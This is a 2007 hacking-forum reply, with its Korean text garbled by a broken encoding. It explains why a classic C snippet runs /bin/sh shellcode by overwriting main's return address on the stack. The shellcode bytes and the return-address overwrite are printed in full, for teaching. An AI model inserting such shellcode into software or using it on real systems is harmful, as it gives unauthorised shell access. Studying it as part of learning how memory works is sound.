22019, 1/1101 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   kes0608
   [re] ½ºÅà ¶§·ÁºÎ¼ö±â ¹®¼­ º¸´Ù°¡ Àǹ®Á¡

http://www.hackerschool.org/HS_Boards/zboard.php?id=Free_Board&no=9866 [º¹»ç]


===============================================================================

> char shellcode[] =
>        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
>        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
>        "\x80\xe8\xdc\xff\xff\xff/bin/sh";
>
>void main() {
>   int *ret;
>
>   ret = (int *)&ret + 2;
>   (*ret) = (int)shellcode;
>
>}
>
> ÀÌ·¸°Ô c¾ð¾î¸¦ ¸¸µé¸é ÇÁ·Î±×·¥ÀÌ ½ÇÇàÀÌ µÇÀݾƿä.
> ¿Ö ½ÇÇàÀÌ µÇ´Â°Ç°¡¿ä. ±×³É Æ÷ÀÎÅÍ ¼±¾ð¸¸ ÇØ³õÀº°Å ¾Æ´Ñ°¡¿ä.
===============================================================================

°£´ÜÇÏ°Ô ¼³¸íµå¸®ÀÚ¸é..
ÇÁ·Î±×·¥ ³»¿¡¼­ int Çü Æ÷ÀÎÅÍ º¯¼ö retÇϳª¸¸ ¼±¾ðÇϹǷÎ
ÀÌ º¯¼öÀÇ À§Ä¡´Â ½ºÅû󿡼­ ebp ¹Ù·Î ¾Æ·¡¿¡ À§Ä¡ÇÕ´Ï´Ù.
(¹°·Ð ÄÄÆÄÀÏ·¯ ¹öÀü¿¡ µû¶ó ¾à°£ÀÇ Â÷À̰¡ »ý±æ¼öµµ...)

ret = (int *)&ret + 2;
±×¸®°í ÀÌ Äڵ尡 retÀ̶ó´Â Æ÷ÀÎÅͰ¡ °¡¸®Å°´Â ÁÖ¼Ò¸¦
ÀÚ±â ÀÚ½ÅÀÇ ÁÖ¼Ò +2·Î ¹Ù²Ù´Âµ¥, ¿©±â¼­ +2´Â intÇüÀº 4¹ÙÀÌÆ®À̹ǷÎ
8¹ÙÀÌÆ® »óÀ§ ÁÖ¼Ò¸¦ °¡¸®Å°µµ·Ï ÇÕ´Ï´Ù

µû¶ó¼­ retÀÇ 8¹ÙÀÌÆ® »óÀ§ÁÖ¼Ò´Â ebp+4, Áï ÇÁ·Î±×·¥ÀÇ ¸®ÅϾîµå·¹½ºÁÒ.

ÀÌ À§Ä¡¿¡ shellcodeÀÇ ÁÖ¼Ò¸¦ ÀúÀåÇÔÀ¸·Î½á
ÇÁ·Î±×·¥ÀÌ Á¾·áµÇ¸é¼­ shellcode°¡ ½ÇÇàµÇ°Ô ÇÕ´Ï´Ù.

Á¤»óÀûÀÎ ½©ÄÚµå¶ó¸é ½©ÀÌ ½ÇÇàµÇ°ÚÁÒ.

  Hit : 11840     Date : 2007/12/12 03:16



    
     [°øÁö]ÇØÄ¿½ºÄð ÀÌ¿ë¼öÄ¢ 2021/04/11 ¼öÁ¤ÆÇ [54] ÇѽÂÀç 01/05 11647
22018   À¸¾Ó!!![1]     ÇØÅ·ÀßÇϰí½Í´Ù
02/05 63
22017   A¤¿...     ÇØÅ·ÀßÇϰí½Í´Ù
01/27 100
22016   ¿À·£¸¸~     DarkSlayer
12/11 298
22015   ÇØÄ¿½ºÄð ¿¾³¯ BGM[1]     wkfhddl4041
11/07 430
22014   È÷À×...     ÇØÅ·ÀßÇϰí½Í´Ù
11/02 347
22013   ¹ÙµÏ°ú Àå±â     ÇØÅ·ÀßÇϰí½Í´Ù
10/30 386
22012   ³ª´Â ¾ðÁ¦ ¾ÖÀÎÀÌ »ý±â³ª¿è...     ÇØÅ·ÀßÇϰí½Í´Ù
10/27 442
22011   Àü±¹ 1À§     ÇØÅ·ÀßÇϰí½Í´Ù
10/27 391
22010   ´ã¹è ¤»¤»[1]     ÇØÅ·ÀßÇϰí½Í´Ù
10/27 397
22009   ¸ÅÆ®¸¯½ºÀÇ ÆÄ¶õ¾àÀ» ¾Æ½Ê´Ï±î..?     ÇØÅ·ÀßÇϰí½Í´Ù
10/27 376
22008   ¤·¤·[1]     ÇØÅ·ÀßÇϰí½Í´Ù
10/20 372
22007   ¿ÉÄ¡ ÇÙ°¨Áö ÇÁ·Î±×·¥Á» ¸¸µé¾îÁÖ¼¼¿ä[1]     powerima
10/15 372
22006   ÇØÅ·ÆÀ¿ø ¸ðÁý[1]     koromoon
08/27 902
22005   °°ÀÌ ÇØÅ· ÆÀ ÀÌ·ç½ÇºÐ??     hacs98
08/26 585
22004   ¾Æ........ ¤Ð¤Ð     ÇØÅ·ÀßÇϰí½Í´Ù
08/04 754
22003   ±Í¼ö(Сâ¢) µû¶óÇϱâ(?)     ÇØÅ·ÀßÇϰí½Í´Ù
07/28 731
22002   ½º½º·Î ¸ñ¼ûÀ» Á®¹ö¸°´Ù´Â °ÍÀº     ÇØÅ·ÀßÇϰí½Í´Ù
07/27 768
22001   ¹ÌÄ£µí     ÇØÅ·ÀßÇϰí½Í´Ù
07/02 814
22000   »ç¹«½Ç     ÇØÅ·ÀßÇϰí½Í´Ù
07/02 751
1 [2][3][4][5][6][7][8][9][10]..[1101]

Copyright 1999-2026 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org